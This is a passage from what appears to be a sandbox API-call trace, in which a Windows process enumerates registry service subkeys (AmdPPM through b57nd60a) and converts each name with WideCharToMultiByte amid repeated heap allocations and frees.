0x21f2eb0 [0210.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.194] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.195] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.195] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.195] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.195] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0210.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.196] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.196] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.196] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0210.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.196] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.197] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.197] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.197] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0210.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0210.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.198] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0210.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0210.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.198] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0210.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0210.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.198] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0210.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0210.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.198] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1850, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.199] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.199] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.199] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0210.199] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0210.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.200] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0210.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0210.200] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.200] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 